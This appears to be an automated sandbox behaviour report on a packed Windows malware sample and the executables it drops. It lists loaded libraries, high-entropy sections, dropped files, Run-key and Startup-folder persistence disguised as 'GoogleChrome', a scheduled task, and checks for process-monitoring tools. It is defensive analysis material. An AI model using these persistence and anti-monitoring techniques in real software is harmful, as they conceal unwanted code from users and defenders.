Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: GoogleChrome.lnk.8.dr

LNK file: ..\..\..\..\..\..\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3000320 > 1048576

Source: file.exe

Static PE information: Raw size of xlsdzxvf is bigger than: 0x100000 < 0x2aae00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W;xlsdzxvf:EW;xadyrfpk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xlsdzxvf:EW;xadyrfpk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;xlsdzxvf:EW;xadyrfpk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xlsdzxvf:EW;xadyrfpk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;xlsdzxvf:EW;xadyrfpk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xlsdzxvf:EW;xadyrfpk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Unpacked PE file: 6.2.378e4894d2.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ubvmxkob:EW;xdawalmh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ubvmxkob:EW;xdawalmh:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Code function: 12_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

12_2_00402665

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x1cb0e2 should be: 0x1cd51f
Source: random[1].exe1.5.dr	Static PE information: real checksum: 0x1cf1a0 should be: 0x1ceecf
Source: e145bb7f6e.exe.5.dr	Static PE information: real checksum: 0x1d69cf should be: 0x1d78cb
Source: ShtrayEasy35[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x50117
Source: 7bOe0mBZpcivp612.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x50117
Source: xHdN9si8LjqmZs2y.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x50117
Source: 7z.exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: WT0pal2n7uSoixsQ.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x50117
Source: LOVI3rtjoHDpADyV.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x50117
Source: file.exe	Static PE information: real checksum: 0x2ea9f9 should be: 0x2eb140
Source: 7z.dll.12.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: b12a870d60.exe.5.dr	Static PE information: real checksum: 0x1cf1a0 should be: 0x1ceecf
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2ea9f9 should be: 0x2eb140
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x1d69cf should be: 0x1d78cb
Source: 378e4894d2.exe.5.dr	Static PE information: real checksum: 0x1cb0e2 should be: 0x1cd51f
Source: ShtrayEasy35.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x50117

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: xlsdzxvf
Source: file.exe	Static PE information: section name: xadyrfpk
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: xlsdzxvf
Source: skotes.exe.0.dr	Static PE information: section name: xadyrfpk
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: ubvmxkob
Source: random[1].exe.5.dr	Static PE information: section name: xdawalmh
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: jqjwcvpd
Source: random[1].exe0.5.dr	Static PE information: section name: qgvyxvui
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: 378e4894d2.exe.5.dr	Static PE information: section name:
Source: 378e4894d2.exe.5.dr	Static PE information: section name: .idata
Source: 378e4894d2.exe.5.dr	Static PE information: section name:
Source: 378e4894d2.exe.5.dr	Static PE information: section name: ubvmxkob
Source: 378e4894d2.exe.5.dr	Static PE information: section name: xdawalmh
Source: 378e4894d2.exe.5.dr	Static PE information: section name: .taggant
Source: e145bb7f6e.exe.5.dr	Static PE information: section name:
Source: e145bb7f6e.exe.5.dr	Static PE information: section name: .idata
Source: e145bb7f6e.exe.5.dr	Static PE information: section name:
Source: e145bb7f6e.exe.5.dr	Static PE information: section name: jqjwcvpd
Source: e145bb7f6e.exe.5.dr	Static PE information: section name: qgvyxvui
Source: e145bb7f6e.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: srjxsfrr
Source: random[1].exe1.5.dr	Static PE information: section name: swghvbpa
Source: random[1].exe1.5.dr	Static PE information: section name: .taggant
Source: b12a870d60.exe.5.dr	Static PE information: section name:
Source: b12a870d60.exe.5.dr	Static PE information: section name: .idata
Source: b12a870d60.exe.5.dr	Static PE information: section name:
Source: b12a870d60.exe.5.dr	Static PE information: section name: srjxsfrr
Source: b12a870d60.exe.5.dr	Static PE information: section name: swghvbpa
Source: b12a870d60.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0D91C push ecx; ret	0_2_00B0D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B01359 push es; ret	0_2_00B0135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0060D91C push ecx; ret	1_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00620BC7 push 33689C4Dh; mov dword ptr [esp], ecx	5_2_006AF4C7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00620BC7 push edx; mov dword ptr [esp], ecx	5_2_006AF5C0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00620BC7 push esi; mov dword ptr [esp], eax	5_2_006AF5D5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00620BC7 push 31E81E71h; mov dword ptr [esp], ebx	5_2_006AF5F6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00620BC7 push 5AA3C987h; mov dword ptr [esp], ecx	5_2_006AF623
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00620BC7 push eax; mov dword ptr [esp], edi	5_2_006AF6B5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0060D91C push ecx; ret	5_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0062DEDB push ss; iretd	5_2_0062DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0060DFC6 push ecx; ret	5_2_0060DFD9
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E51DB5 push ecx; ret	7_2_00E51DC8
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_00971DB5 push ecx; ret	8_2_00971DC8
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B51DB5 push ecx; ret	11_2_00B51DC8
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_004192C0 push eax; ret	12_2_004192EE
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_00661DB5 push ecx; ret	14_2_00661DC8

Source: file.exe	Static PE information: section name: entropy: 7.983237658200176
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.983237658200176
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.985148780171564
Source: random[1].exe.5.dr	Static PE information: section name: ubvmxkob entropy: 7.95406419852494
Source: random[1].exe0.5.dr	Static PE information: section name: entropy: 7.984761284535681
Source: random[1].exe0.5.dr	Static PE information: section name: jqjwcvpd entropy: 7.95445055974945
Source: 378e4894d2.exe.5.dr	Static PE information: section name: entropy: 7.985148780171564
Source: 378e4894d2.exe.5.dr	Static PE information: section name: ubvmxkob entropy: 7.95406419852494
Source: e145bb7f6e.exe.5.dr	Static PE information: section name: entropy: 7.984761284535681
Source: e145bb7f6e.exe.5.dr	Static PE information: section name: jqjwcvpd entropy: 7.95445055974945
Source: random[1].exe1.5.dr	Static PE information: section name: srjxsfrr entropy: 7.952770707996299
Source: b12a870d60.exe.5.dr	Static PE information: section name: srjxsfrr entropy: 7.952770707996299

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ShtrayEasy35[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	File created: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	File created: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	File created: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	File created: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b12a870d60.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoogleChrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e145bb7f6e.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e145bb7f6e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e145bb7f6e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b12a870d60.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b12a870d60.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoogleChrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoogleChrome	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
